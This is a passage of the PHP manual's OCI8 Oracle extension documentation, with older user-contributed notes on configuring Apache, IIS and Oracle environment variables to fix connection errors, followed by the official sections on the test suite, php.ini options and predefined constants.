However, when you suexec in Apache 2.0, the server will only allow you to pass a given set of variables which are defined in the apache source code in the file apache-dir/support/suexec.c

In order to pass ORACLE_SID and ORACLE_HOME to PHP you need to add these to that file.  The relevant changed piece of code where I added "ORACLE_" looks something like this:

char *safe_env_lst[] =
{
    /* variable name starts with */
    "HTTP_",
    "SSL_",
    "ORACLE_",

    /* variable name is */
...

You will have to do a "make clean", "./configure", "make", "make install".  Do not forget to do the "make clean" or the apache changes will not be picked up.

Here is a nice php test script :)

<?php // test-oracle.php

    function dump_array($a_value)
    {
        reset($a_value);
        for ( $s_str = '' ; list($s_key, $x_value) = each($a_value) ;  )
        {
            $s_str .= "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".
                      "<span style=\"color:green\">[</span>$s_key<span style=\"color:green\">]</span> = ".
                      "<span style=\"color:red\">[</span>$x_value<span style=\"color:red\">]</span><br />";
        }
        reset($a_value);
        echo $s_str;
    }

#putenv("ORACLE_SID=ORTD");
#putenv("ORACLE_HOME=/u01/app/oracle/product/9.2.0.1.0");
$ORACLE_SID = getenv("ORACLE_SID");
$ORACLE_HOME = getenv("ORACLE_HOME");
echo "ORACLE_SID = $ORACLE_SID<br>";
echo "ORACLE_HOME = $ORACLE_HOME<br>";

    $cn = ociplogon('scott', 'tiger');
echo "cn = $cn<br />\n";
    $st = ociparse($cn, "select tname from tab");
echo "st = $st<br />\n";
    $ex = ociexecute($st,OCI_COMMIT_ON_SUCCESS);
echo "ex = $ex<br />\n";
    $mr = ocifetchinto($st,$xx,OCI_ASSOC);
    while ( $mr )
    {
        dump_array($xx);
        $mr = ocifetchinto($st,$xx,OCI_ASSOC);
    }
    $fr = ocifreestatement($st);
echo "fr = $fr<br />";
    ocicommit($cn);
    ocilogoff($cn);
?>
oddbec_no_more_spam_kthx at online dot no 24-Feb-2004 05:49
I had trouble with norwegian characters using oracle 8.7.1 / php 4something and Apache 2.

The only trouble was that '?' appeared instead of the norwegian characters.

The solution to it all was to add this to the apachectl script:

export NLS_LANG="norwegian_norway.WE8ISO8859P1"
export ORACLE_BASE="/home/oracle"
export ORA_NLS33="/home/oracle/ocommon/nls/admin/data"
export ORACLE_TERM="ansi"
export ORACLE_HOME="/home/oracle"
export LANG="no_NO"

I'm not sure if all of these are necessary, but I took no change, and it works now :)
lffranco *at* dco dot pemex dot com 17-Dec-2003 09:26
This took me a lot of time to solve, so I'm placing it here for my future reference, and for somebody who finds it useful. I don't know if it will work on your environment, this is what I have:

* Windoze Advanced Server 2003
* IIS 6
* Oracle 8.1.7

So how I configured the whole thing? First do whatever the standard PHP configuration says... it won't work, anyway... but it will help. I installed PHP on C:\PHP; Oracle Home is in E:\Oracle\ora817.

* Install Oracle 8 client. NOTE: You must use an Oracle 8 client, I used an Oracle 9 client and for some reason (dll binding I guess), it didn't work

* Copy $ORACLE_HOME/bin/cli.dll into $WINDOWS/System32

* Modify your SQLNET.ORA file and change the line:
[code]
SQLNET.AUTHENTICATION_SERVICES= (NTS)
[/code]

by this one:

[code]
SQLNET.AUTHENTICATION_SERVICES= (NONE)
[/code]

I dunno WTF NTS is, so if somebody sends me an eMail and explain, I'll be thankful. But if you don't do this you'll get an ORA-12560 error.

And that's it for Oracle. Now, the IIS configuration:

* Open your IIS Administrator and "Web Service Extensions", add a new extension as follows:
** Extension Name: PHP
** Required Files (ADD): C:\php\extensions\php_oci8.dll; c:\php\sapi\php4isapi.dll; c:\WINDOWS\system32\oci.dll
** Check "Set Extension Status as Allowed"

Now you can use your ocli* functions, or better yet, use PEAR::DB functions which was my ultimate goal, with PEAR::DB you can forget about declaring ORACLE_HOME, ORACLE_SID and all that kind of things. Just use:

<?php
$dsn = "oci8://scott:tiger@example"
$db = DB::Connect($dsn);
?>
aleigh at tessier dot com 17-Nov-2003 12:16
Warning: ocilogon(): _oci_open_session: OCIHandleAlloc OCI_HTYPE_SVCCTX: OCI_INVALID_HANDLE can also be caused by running the webserver with an ORACLE_HOME of a (radically?) different version than PHP was linked against.

I experienced this when I accidently used an Oracle 8 ORACLE_HOME for a PHP that was linked against Oracle 9.
aliquis at die dot spammers dot die dot link-net dot org 23-Oct-2003 03:39
I've had all kinds of errors with RedHat9(yuck), PHP 4.3.4RC1 and Oracle enterprice server 9.2. For some time I thought that --with-oci8 wouldn't work with Oracle9 but that wasn't the case, the solution was many steps.

1) install oracle, might require some tricks, on RedHat9 I had to put this in my .bashrc:
export ORACLE_BASE=/opt/ora9
export ORACLE_HOME=$ORACLE_BASE/product/9.2
export PATH=$ORACLE_HOME/bin:$PATH
export ORACLE_OWNER=oracle
export ORACLE_SID=netadmdb
export ORACLE_TERM=vt100
export LD_ASSUME_KERNEL=2.4.1
export THREADS_FLAG=native
export LD_LIBRARY_PATH=$ORACLE_BASE/product/9.2/lib:$LD_LIBRARY_PATH

2) compile php, use --with-oci8

3) Make an init-script for the oracle9 database server, as default the TNS listener doesn't run so add that on aswell, example:
#!/bin/bash
export ORACLE_HOME=/opt/ora9/product/9.2
export PATH=$ORACLE_HOME/bin:$PATH
export ORACLE_SID=netadmdb
export DISPLAY=:0
oracle_user=oracle
export oracle_user
case $1 in
start)
su - "$oracle_user"<<EOO
sqlplus /nolog<<EOS
connect / as sysdba
startup
EOS
/opt/ora9/product/9.2/bin/lsnrctl start
EOO
;;
stop)
su - "$oracle_user"<<EOO
/opt/ora9/product/9.2/bin/lsnrctl stop
sqlplus /nolog<<EOS
connect / as sysdba
shutdown immediate
EOS
EOO
;;
*)
echo "Usage: ora9 [start|stop]"
;;
esac

4) Configure Apache. For some reason it requires some tweaking with environment variables, in the begining I put those in the PHP-script with putenv, later in the httpd.conf with SetEnv and the mod_env module. But I was told to not do that and instead set them in the init script for Apache. So I copied apachectl to /etc/init.d and edited envvars in $APACHE_PATH/bin. First I added all kinds of env variables until I got it to work, and then I removed them one at a time and came to the following minimal configuration:
LD_LIBRARY_PATH="/usr/local/apache2/lib:$LD_LIBRARY_PATH"
ORACLE_HOME=/opt/ora9/product/9.2
LANG=sv_SE
export LD_LIBRARY_PATH ORACLE_HOME LANG

Earlier I had added NLS_LANG and TNS_ADMIN above those mentioned above (point 1), but it seems those aren't needed really. So no need for TWO_TASK or ORACLE_SID, only needed one is ORACLE_HOME and if you get missing/invalid option for your OCILogon set LANG to something else like I did. Someone earlier said it might have to do with UTF8.

So if you are sure lsncrtl are started and that you have the correct env-variables set in your $APACHE_PATH/bin/envvars you can just use something like:

$iDBConn=OCILogon("user","pass","netadmdb");

in your PHP-script and it should work.
Hope this helps someone.
lomax at arizona edu 26-Jul-2003 01:26
Can't compile php with Oracle 9i and apache on Solaris8?
Sun 280R

Using some of the tips below I had to add this:
(static build)

#!/bin/tcsh
setenv LDFLAGS -L$ORACLE_HOME/lib32

cd php-4.x.x/
./configure --with-oci8=$ORACLE_HOME --with-apache=/path/to/apache_src ..etc
make
make intsall

cd apache_src
(make sure environment variable is still set)
./configure  "--prefix=/usr/apache" "--enable-module=so" \
"--activate-module=src/modules/php4/libphp4.a"  ...etc
make
make install

Having the gcc compilier build php against oracle 32 bit libraries was the key, but without setting LDFLAGS the compiler defaults to using the 64-bit oracle libraries which cause the famous
"...wrong ELF class: ELFCLASS64.." on startup.

The only diffenece here was I didn't have to do play musical directories for it to work. The below post was instrumental in helping me to get this fixed. Thanks to "lore_giver at lycos dot co dot uk"
NOSPAMPLZ!esartoni at omniaglobal dot net 27-May-2003 12:12
I had a little problem with ocilogon but only with RedHat 8.0. It always returned some kind of error during connection like 'OCISessionBegin - ... invalid character', or 'OCISessionBegin - ... missing or invalid option in ...'

I have finally found what is this problem! You have to change your LANG enviroment variable disabling UTF-8. Example: LANG=en_US.UTF-8 should become LANG=en_US.
lore_giver at lycos dot co dot uk 20-May-2003 08:42
Running Oracle 9i on a
Solaris 9 (64 bit) platform with a Sun Server E250:
Apache version 1.3.27
PHP version 4.3.1

I was first getting "...wrong ELF class: ELFCLASS64.."
while doing a ./configure with the --with-oci8 and --with-oracle parameters.

After some unsuccessfull searched I renamed the $ORACLE_HOME/lib to $ORACLE_HOME/lib.org and then renamed the
$ORACLE_HOME/lib32 to $ORACLE_HOME/lib

Thereafter it went passed this config, but now failed on
not being able to find a libwtc9.so file which was in the
$ORACLE_HOME/lib directory  (this message was displayed in the debug.log in the php source directory).

After setting the Environment variable:
LD_LIBRARY_PATH=$ORACLE_HOME/lib
I was able to compile without any errors and 'make' and 'make install' ran smoothly.

I only had to add the php type in the httpd.conf (in your apache conf directory eg. /usr/local/apache/conf)..
AddType application/x-httpd-php .php
to get the php to work again...

I had to then reverse the $ORACLE_HOME/lib swop on top since php was now having problems with the 32 bit version of the library...so switched it back to 64 and my php script worked....

Hope this helps some out there with similar problems..

Cheers
09-Dec-2002 10:53
Configuring/Compiling PHP as a DSO with Oracle support from source on a Sun Solaris 8 box.  We had already installed Oracle 9.2.0 client tools.

1. Make sure the following tools are installed

    autoconf
    automake
    bison
    flex
    gcc
    make
    gzip

    They can be downloaded from http://www.sunfreeware.com.

2.  Make sure Apache is installed with DSO support.  We ran the Apache configure/compile like so:

    LIBS=-lpthread ./configure \
    --prefix=/usr/local/apache \
    --enable-module=most \
    --enable-shared=max

    make
    make install

3.  If you haven't already, install the Oracle client tools.
4.  Make sure the following environment variables are set correctly and are accessible by all users.  We set them in /etc/profile.

    ORACLE_HOME
    ORACLE_BASE
    NLS_LANG
    ORA_NLS33
    ORACLE_TERM
    LD_LIBRARY_PATH

    (technically, only $ORACLE_HOME is required, but you'll want to set the rest in order to make sure things run smoothly afterward)

5.  Make sure '/usr/ccs/bin' is in your path.  If not, add it.
6.  Unpack PHP source (php-4.2.3):

    gunzip php-4.2.3.tar.gz
    tar xvf php-4.2.3.tar
    cd php-4.2.3

7.  Run PHP configure like so :

    CC=gcc ./configure --with-apxs=/usr/local/apache/bin/apxs \
    --with-config-file-path=/etc \
    --with-mysql \
    --enable-ftp \
    --with-oci8=/path/to/ORACLE_HOME \
    --with-oracle=/path/to/ORACLE_HOME \
    --enable-sigchild

8.  Run make:  make
9.  Run this as root:  make install
10.  Change the LoadModule line in httpd.conf to include the fully qualified path.  For us:

    LoadModule php4_module        /usr/local/apache/libexec/libphp4.so

11.  Make sure the PHP files types are recognized in your httpd.conf file:

    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps

12.  Test the configuration:

    /usr/local/apache/bin/apachectl configtest

    It should return "Syntax OK"

13.  Bounce Apache:

    /usr/local/apache/bin/apachectl restart

14.  Here's a simple PHP script to test the setup.  If you don't have access to the default tables Oracle provides, change the connections/tablenames/fields to match your setup:

    <?php

    $db_conn = ocilogon("scott", "tiger");

    $cmdstr = "select ename, sal from emp";
    $parsed = ociparse($db_conn, $cmdstr);
    ociexecute($parsed);
    $nrows = ocifetchstatement($parsed, $results);
    echo "Found: $nrows results<br><br>\n";

    echo "<table border=1 cellspacing='0' width='50%'>\n";
    echo "<tr>\n";
    echo "<td><b>Name</b></td>\n";
    echo "<td><b>Salary</b></td>\n";
    echo "</tr>\n";

    for ($i = 0; $i < $nrows; $i++ ) {
          echo "<tr>\n";
          echo "<td>" . $results["ENAME"][$i] . "</td>";
          echo "<td>$ " . number_format($results["SAL"][$i], 2). "</td>";
          echo "</tr>\n";
    }

    echo "</table>\n";

    ?>
john at john-warner dot com 21-Nov-2002 01:13
In addition to the earlier posts here is a further explaination;

Problem: Regular and Remote authentication does not work using Windows 2000 + PHP and Oracle 8i, 9i.

Secondary Issue if using Oracle 9.2.0.1
     When using Oracle 9.2.0.1 the Error structure returned by Oracle is different than expected by PHP. As a result there will be no legible error message other than the following;
     Warning: _oci_open_server: in ...

Using Oracle 9.0.1.1 the error message returned is any of the following depending on your situation;

Warning: _oci_open_server: ORA-12638: Credential retrieval failed in ...
Warning: _oci_open_server: ORA-12154: TNS:could not resolve service name in ...
Warning: _oci_open_server: ORA-12505: TNS:listener could not resolve SID given in connect descriptor in ...

Resolution:
In order to get this to work properly you need to do the following;
In reference to ORA-12638: Credential retrieval failed in ...
you need to edit your sqlnet.ora file and change the
SQLNET.AUTHENTICATION_SERVICES = (NTS) to
SQLNET.AUTHENTICATION_SERVICES = (NONE)
The reason is that using NTS validation on a Windows 2000 machine essentially means Kerberos.
Using (NONE) will tell oracle not to expect kerberos "Credentials" as a means of validation. In turn it will use the oracle authentication for a database user.

In reference to ORA-12154 and ORA-12505 you need to do the following;
In your php code you are using to connect you need to copy the section in tnsnames.ora
into a variable.
For example;
<?php
putenv("ORACLE_SID=TESTDB");
//putenv("ORACLE_HOME=/oracle/ora90");
//putenv("TNS_ADMIN=/oracle/ora90/network/admin");
$username = "scott";
$passwd = "tiger";
$db="(DESCRIPTION=
           (ADDRESS_LIST=
             (ADDRESS=(PROTOCOL=TCP)
               (HOST=yourTargetMachine)(PORT=1521)
             )
           )
             (CONNECT_DATA=(SERVICE_NAME=TESTDB))
      )";
$conn = OCILogon($username,$passwd,$db);
if (!$conn)
{
    echo "Connection failed";
    echo "Error Message: [" . OCIError($conn) . "]";
    exit;
}
else
{
    echo "Connected!";
}
...
?>
I left the ORACLE_HOME and TNS_ADMIN putenv lines commented out and your need for them depends on which web server you are using. If you are using Apache, you may need both.
If you are using Microsoft IIS you may need ORACLE_HOME. Putting it in can't hurt and it appears PHP may read them if they are there but either way you should be working at this
point.

Live long and prosper.
kakukkfu at mailbox dot hu 26-Sep-2002 08:09
Better to insert needed variables into apache(!) (or your webserver - respectively) start script.

For example on UNIX systems /etc/init.d/apache would contain following lines before anything else:

#!/bin/bash

if [ -f ~oracle/.profile ]; then
        source ~oracle/.profile
fi

The ~oracle/.profile has the appropiate settings to start an Oracle database so it is always up-to-date for PHP, too. (If settings are changed, don't forget to restart your webserver.) This way you just no need to worry what to include or define for PHP.
devolver at iastate dot edu 31-May-2002 01:32
I spent several hours tracking down error ORA 24374, which would result from only *SOME* of my select statements.  This error would be caused if I made a query that would return any non-numerical value.  I am running an Apache 1.3.x webserver and PHP 4.2.1.

The fix is to add entries in your httpd.conf file that would export your environment settings.  I added these three lines and everything worked like a charm!
SetEnv ORACLE_HOME  /path/to/oracle/home
SetEnv ORA_NLS33  /path/to/oracle/home/ocommon/nls/admin/data
SetEnv NLS_LANG AMERICAN

Obviously, if your NLS_LANG is different, you should set it to whatever your NLS_LANG actually is.  Ask your friendly DB admin for this information.

Hope this helps someone who treads down the path that I just followed!

Trent
ddc at portalframework.com 14-May-2002 08:30
Sometimes Oracle doesn't cleanup shadow processes when accessed from PHP. To avoid that, check your
$ORACLE_HOME/network/admin/tnsnames.ora file in your Oracle Client directory and remove the (SERVER=DEDICATED) token if is set.

To let Oracle delete shadow process on timeouts, add the following line in your $ORACLE_HOME/network/admin/sqlnet.ora
found in your ORACLE Server directory:

SQLNET.EXPIRE_TIME=n

Where 'n' is the number of minutes to let connection idle befor shutting them out.
i990712 at dei dot isep dot ipp dot pt 03-Oct-2001 02:53
For those of you who are having Oracle errors: ORA-12154 or ORA-12505 or ORA-01005 do the folowing:

The folowing precedures have been tested when connecting to a HP UX with Oracle 7.x using of couse the OCI8 as the client interface.

Add those lines to the web server config files or set and export those ones before the web server starts.

On Apache add these lines to httpd.conf:

SetEnv ORACLE_HOME /usr/local/oracle
SetEnv ORACLE_SID <sid>
SetEnv LD_LIBRARY_PATH /usr/local/oracle/lib
SetEnv TNS_ADMIN /usr/local/oracle/tnsnames.ora
SetEnv TWO_TASK /usr/local/oracle/tnsnames.ora
SetEnv NLS_LANG  English_America.WE8ISO8859P1
SetEnv ORACLE_BASE /usr/local

When calling the OCILogon do this:

$db = "  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP) (HOST =server_ip_or_dns_name)(PORT = 1521))
    (CONNECT_DATA= (SID = _sid_))
    )";

The previous definition is a copy of the service definition that is stored in the tnsnames.ora file.

Next, call the OCILogon function using the folowing format:

OCILogon("user/password","password", $db);

To avoid ORA-01005 error, set the NLS_LANG environment variable to English_America.WE8ISO8859P1 ( some other values may work...but we have found that this one works for us )

To avoid ORA-12154 and ORA-12505, use the service definition as the OCILogon third parameter.

I'd like to thanks to a friend of mine a.k.a Rosa for the user/password tip.

Regards
Miguel Carvalho
fsegtrop at estiem dot org 22-May-2001 04:14
When using PHP4 in CGI-mode with Windows NT or Windows 2000 with IIS or Apache, make sure that the TNSNAMES.ORA and the SQLNET.ORA do not contain DOS/Windows CR/LF line endings.<br> Instead, they must have UNIX (only LF) endings. Otherwise, you will get an ORA-12154 error (TNS cannot resolve service name) when connecting to a remote database.<br>
This all does not matter if you use the ISAPI mode.

Frank
Marinne at ilovechocolate dot com 17-May-2001 02:25
One simple but useful note:check whether your TNS Listener is running! By default, it's not started automatically when an Oracle instance is started. Login as oracle then type :

lsnrctl START

After it's started, I can sucessfully run the sample code on this page! I used to got ora-12514 error before doing this.
bluei at phpworld dot org 06-Mar-2001 11:57
check your tnsnames.ora permission.

ex)
ORACLE_HOME = /home/oracle/oracle

chmod 755 /home/oracle/oracle/network/admin -R

Yahoo!!!!!! I solved it!!!
shmengie_2000 at yahoo dot com 03-Oct-2000 12:43
couple of notes about startup/shutdown on linux:  (redhat, maybe others)

export LD_PRELOAD=/usr/lib/libpthread.so

Caused the start/stop script to fail to stop the httpd process.
The LD_PRELOAD environment var caused the 'ps' command to core dump.  I went bald figuring that out.

Easiest fix I could think of was to move all the oracle/php varialble exports so they are only set in the start section of the httpd script.

Never thought setting those vars globally in the script would cause problems.  That's what I get for thinking...

One other note:  Make sure the httpd process is shutdown before Oracle.

eg:
/etc/rc.d/rc0.d/K15httpd
/etc/rc.d/rc0.d/K25Oracle

Lingering connections to oracle may cause shutdown to take forever.

gl & hf

-Joe


Testing

The OCI8 test suite is in ext/oci8/tests. After OCI8 tests are run this directory will also contain logs of any failures.

Before running PHP's tests, edit details.inc and set $user, $password and the $dbase connection string. The OCI8 test suite has been developed using the SYSTEM account. Some tests will fail if the test user does not have equivalent permissions.

If Oracle Database Resident Connection Pooling is being tested, set $test_drcp to TRUE and ensure the connection string uses an appropriate DRCP pooled server.

An alternative to editing details.inc is the set environment variables, for example:

    $ export PHP_OCI8_TEST_USER=system
    $ export PHP_OCI8_TEST_PASS=oracle
    $ export PHP_OCI8_TEST_DB=localhost/XE
    $ export PHP_OCI8_TEST_DRCP=FALSE
Note in some shells these variables are not propagated correctly to the PHP process and tests will fail to connect if this method is used.

Next, set any necessary environment for the Oracle database. With Oracle 10gR2 XE do:

    $ . /usr/lib/oracle/xe/app/oracle/product/10.2.0/server/bin/oracle_env.sh

With Oracle 11gR2 XE do:

    $ . /u01/app/oracle/product/11.2.0/xe/bin/oracle_env.sh

For other versions of the Oracle database do:

    $ . /usr/local/bin/oraenv

Some shells require that php.ini has E in the variables_order parameter, for example:

    variables_order = "EGPCS"

Run all the PHP tests with:

    $ cd your_php_src_directory
    $ make test
or run only the OCI8 tests with
    $ cd your_php_src_directory
    $ make test TESTS=ext/oci8

When the tests have completed, review any test failures. On slow systems, some tests may take longer than the default test timeout in run-tests.php. To correct this, set the environment variable TEST_TIMEOUT to a larger number of seconds.

On fast machines with a local database configured for light load (e.g. Oracle 11gR2 XE) some tests might fail with ORA-12516 or ORA-12520 errors. To prevent this, increase the database PROCESSES parameter using the following steps:

Connect as the oracle software owner:

    $ su - oracle

Set the necessary Oracle environment with oracle_env.sh or oraenv, as described above.

Start the SQL*Plus command line tool and increase PROCESSES

    $ sqlplus / as sysdba
    SQL> alter system set processes=100 scope=spfile

Restart the database:

    SQL> startup force

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

OCI8 Configuration Options
Name | Default | Changeable | Changelog
oci8.connection_class | "" | PHP_INI_ALL | Available since PHP 5.3 (PECL OCI8 1.3).
oci8.default_prefetch | "100" | PHP_INI_SYSTEM | Available since PHP 5.1.2 (PECL OCI8 1.1).
oci8.events | Off | PHP_INI_SYSTEM | Available since PHP 5.3 (PECL OCI8 1.3).
oci8.max_persistent | "-1" | PHP_INI_SYSTEM | Available since PHP 5.1.2 (PECL OCI8 1.1).
oci8.old_oci_close_semantics | Off | PHP_INI_SYSTEM | Available since PHP 5.1.2 (PECL OCI8 1.1).
oci8.persistent_timeout | "-1" | PHP_INI_SYSTEM | Available since PHP 5.1.2 (PECL OCI8 1.1).
oci8.ping_interval | "60" | PHP_INI_SYSTEM | Available since PHP 5.1.2 (PECL OCI8 1.1).
oci8.privileged_connect | Off | PHP_INI_SYSTEM | Available since PHP 5.1.2 (PECL OCI8 1.1).
oci8.statement_cache_size | "20" | PHP_INI_SYSTEM | Available since PHP 5.1.2 (PECL OCI8 1.1).

Here's a short explanation of the configuration directives.

oci8.connection_class string

This user defined text is used by Oracle 11g Database Resident Connection Pooling (DRCP) connections to sub-partition the connection pool. It allows OCI8 persistent connections from an application to reuse database sessions from a previous PHP script, giving better scalability. When an application uses a database pooled process previously used with a different connection class, the session settings such as the default Oracle date format are reset. This prevents accidental sharing of information between different applications.

The value can be set at runtime with ini_set() prior to connecting.

To use DRCP, OCI8 must be linked with Oracle 11g libraries and the database must be Oracle 11g. The connection pool must be enabled in the database, the oci8.connection_class should be set to the same string for all web servers running the same application, and the OCI8 connection string must specify to use a pooled server.

oci8.default_prefetch int

This option sets the default number of extra rows that will be fetched and cached automatically whenever a low-level request for data from the database is made. Setting a value of 0 turns off prefetching.

The prefetch value does not alter the number of rows that functions like oci_fetch_array() return to the user; the prefetching and caching of rows is handled internally in OCI8.

The value can be set per-statement with oci_set_prefetch() prior to statement execution.

In PHP 5.3 (PECL OCI8 1.3.4) the default value was increased from 10 to 100.

In PHP 5.3.2 (PECL OCI8 1.4) the minimum value settable was reduced from 1 to 0, allowing prefetching to be turned off.

When using Oracle Database 12c, the prefetch value set by PHP can be overridden by Oracle's client oraaccess.xml configuration file. Refer to Oracle documentation for more detail.

Note: A larger prefetch can result in improved performance, at the cost of some increased memory usage. For queries that return large amounts of data, the performance benefit can be significant.

oci8.events boolean

Using On allows PHP to be notified of database Fast Application Notification (FAN) events.

Without FAN, when a database instance or machine node fails unexpectedly, PHP applications may be blocked waiting for a database response until a TCP timeout expires. With FAN events, PHP applications are quickly notified of failures that affect their established database connections. The OCI8 extension will clean up unusable connections in the persistent connection cache.

When using On, the database must also be configured to post FAN events.

FAN support is available when OCI8 is linked with Oracle 10gR2 (or later) libraries and connected to Oracle Database 10gR2 (or later).

oci8.max_persistent int

The maximum number of persistent OCI8 connections per PHP process. Setting this option to -1 means that there is no limit.

oci8.old_oci_close_semantics boolean

This option controls oci_close() behaviour. Enabling it means that oci_close() will do nothing; the connection will not be closed until the end of the script. This is for backward compatibility only. If you find that you need to enable this setting, you are strongly encouraged to adjust the oci_close() calls in your application instead of enabling this option.

oci8.persistent_timeout int

The maximum number of seconds that a PHP process is allowed to keep an idle persistent connection open. Setting this option to -1 means that idle persistent connections will be retained until the PHP process terminates or the connection is explicitly closed with oci_close().

Note: In PHP, the expiry of idle resources is not alarm-based. It occurs when PHP finishes processing a script and checks the last-used timestamp of resources. Hence there is a paradox that idle connections can only be closed when there is some activity (though not necessarily OCI8 related) in the PHP process. If there is more than one PHP process then each must individually be activated in order to trigger expiry of its idle resources. The introduction of Database Resident Connection Pooling (DRCP) in Oracle 11g resolves the memory and resource issues that oci8.max_persistent and oci8.persistent_timeout previously attempted to overcome.

Note: In PHP 5.3 (PECL OCI8 1.3), persistent connections can be closed with oci_close().

oci8.ping_interval int

The number of seconds that must pass before issuing a ping during oci_pconnect(). A ping ensures that the database connection is valid. When set to 0, persistent connections will be pinged every time oci_pconnect() is called. To disable pings completely, set this option to -1.

Note: Disabling pings allows oci_pconnect() to operate at the highest efficiency, but PHP may not be able to detect unusable connections, such as caused by network dropout, or if the Oracle database has gone down since PHP connected, until the connection is used later in the script. Consult the oci_pconnect() documentation for more information.

oci8.privileged_connect boolean

This option allows connections to use the privileged external credentials OCI_SYSOPER or OCI_SYSDBA.

Note: Seting this On can allow scripts on web servers running with the appropriate OS user privileges to connect as privileged database users without requiring a database password. This can be a security risk.

oci8.statement_cache_size int

This option enables statement caching, and specifies how many statements to cache. To disable statement caching just set this option to 0.

Statement caching removes the need to transmit the statement text to the database and removes the need to transmit any meta data about the statement back to PHP. This can significantly improve overall system performance in applications which reuse statements during the lifetime of a connection. Some extra database "cursors" may be held open under the assumption that statements will be reused.

Set this value to the size of the working set of statements used by your application. Setting too small a value can cause statements to be flushed from the cache before they are reused.

This option is of most use with persistent connections.

When using Oracle Database 12c, this value can be overridden and automatically tuned by Oracle's client oraaccess.xml file. Refer to Oracle documentation for more detail.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

OCI8 Function and Method Modes
Constant | Description
OCI_ASSOC | Used with oci_fetch_all() and oci_fetch_array() to get results as an associative array.
OCI_BOTH | Used with oci_fetch_all() and oci_fetch_array() to get results as an array with both associative and number indices.
OCI_COMMIT_ON_SUCCESS | Statement execution mode for oci_execute() call. Automatically commit changes when the statement has succeeded.
OCI_CRED_EXT | Used with oci_connect() for using Oracles' External or OS authentication. Introduced in PHP 5.3 and PECL OCI8 1.3.4.
OCI_DEFAULT | See OCI_NO_AUTO_COMMIT.
OCI_DESCRIBE_ONLY | Statement execution mode for oci_execute(). Use this mode if you want meta data such as the column names but don't want to fetch rows from the query.
OCI_EXACT_FETCH | Obsolete. Statement fetch mode. Used when the application knows in advance exactly how many rows it will be fetching. This mode turns prefetching off for Oracle release 8 or later mode. The cursor is canceled after the desired rows are fetched which may result in reduced server-side resource usage.
OCI_FETCHSTATEMENT_BY_COLUMN | Default mode of oci_fetch_all().
OCI_FETCHSTATEMENT_BY_ROW | Alternative mode of oci_fetch_all().
OCI_LOB_BUFFER_FREE | Used with OCI-Lob::flush to free buffers used.
OCI_NO_AUTO_COMMIT | Statement execution mode for oci_execute(). The transaction is not automatically committed when using this mode. For readability in new code, use this value instead of the older, equivalent OCI_DEFAULT constant. Introduced in PHP 5.3.2 (PECL OCI8 1.4).
OCI_NUM | Used with oci_fetch_all() and oci_fetch_array() to get results as an enumerated array.
OCI_RETURN_LOBS | Used with oci_fetch_array() to get the data value of the LOB instead of the descriptor.
OCI_RETURN_NULLS | Used with oci_fetch_array() to get empty array elements if the row items value is NULL.
OCI_SEEK_CUR | Used with OCI-Lob::seek to set the seek position.
OCI_SEEK_END | Used with OCI-Lob::seek to set the seek position.
OCI_SEEK_SET | Used with OCI-Lob::seek to set the seek position.
OCI_SYSDATE | Obsolete.
OCI_SYSDBA | Used with oci_connect() to connect with the SYSDBA privilege. The php.ini setting oci8.privileged_connect should be enabled to use this.
OCI_SYSOPER | Used with oci_connect() to connect with the SYSOPER privilege. The php.ini setting oci8.privileged_connect should be enabled to use this.
OCI_TEMP_BLOB | Used with OCI-Lob::writeTemporary to indicate that a temporary BLOB should be created.
OCI_TEMP_CLOB | Used with OCI-Lob::writeTemporary to indicate that a temporary CLOB should be created.
OCI8 Bind and Define Types
Constant | Description
OCI_B_BFILE | Used with oci_bind_by_name() when binding BFILEs.
OCI_B_BIN | Used with oci_bind_by_name() to bind RAW values.
OCI_B_BLOB | Used with oci_bind_by_name() when binding BLOBs.
OCI_B_BOL | Used with oci_bind_by_name() to bind a PL/SQL BOOLEAN variable.
OCI_B_CFILEE | Used with oci_bind_by_name() when binding CFILEs.
OCI_B_CLOB | Used with oci_bind_by_name() when binding CLOBs.
OCI_B_CURSOR | Used with oci_bind_by_name() when binding cursors, previously allocated with oci_new_descriptor().
OCI_B_INT | Used with oci_bind_array_by_name() to bind arrays of INTEGER.
OCI_B_NTY | Used with oci_bind_by_name() when binding named data types. Note: in PHP < 5.0 it was called OCI_B_SQLT_NTY.
OCI_B_NUM | Used with oci_bind_array_by_name() to bind arrays of NUMBER.
OCI_B_ROWID | Used with oci_bind_by_name() when binding ROWIDs.
SQLT_AFC | Used with oci_bind_array_by_name() to bind arrays of CHAR.
SQLT_AVC | Used with oci_bind_array_by_name() to bind arrays of VARCHAR2.
SQLT_BDOUBLE | Not supported.
SQLT_BFILEE | The same as OCI_B_BFILE.
SQLT_BFLOAT | Not supported.
SQLT_BIN | The same as OCI_B_BIN.
SQLT_BLOB | The same as OCI_B_BLOB.
SQLT_BOL | The same as OCI_B_BOL.
SQLT_CFILEE | The same as OCI_B_CFILEE.
SQLT_CHR | Used with oci_bind_array_by_name() to bind arrays of VARCHAR2. Also used with oci_bind_by_name().
SQLT_CLOB | The same as OCI_B_CLOB.
SQLT_FLT | Used with oci_bind_array_by_name() to bind arrays of FLOAT.
SQLT_INT | The same as OCI_B_INT.
SQLT_LBI | Used with oci_bind_by_name() to bind LONG RAW values.
SQLT_LNG | Used with oci_bind_by_name() to bind LONG values.
SQLT_LVC | Used with oci_bind_array_by_name() to bind arrays of LONG VARCHAR.
SQLT_NTY | The same as OCI_B_NTY.
SQLT_NUM | The same as OCI_B_NUM.
SQLT_ODT | Used with oci_bind_array_by_name() to bind arrays of LONG.
SQLT_RDD | The same as OCI_B_ROWID.
SQLT_RSET | The same as OCI_B_CURSOR.
SQLT_STR | Used with oci_bind_array_by_name() to bind arrays of STRING.
SQLT_UIN | Not supported.
SQLT_VCS | Used with oci_bind_array_by_name() to bind arrays of VARCHAR.
OCI8 Descriptor Types
Constant | Description
OCI_DTYPE_FILE | This flag tells oci_new_descriptor() to initialize a new FILE descriptor.
OCI_DTYPE_LOB | This flag tells oci_new_descriptor() to initialize a new LOB descriptor.
OCI_DTYPE_ROWID | This flag tells oci_new_descriptor() to initialize a new ROWID descriptor.
OCI_D_FILE | The same as OCI_DTYPE_FILE.
OCI_D_LOB | The same as OCI_DTYPE_LOB.
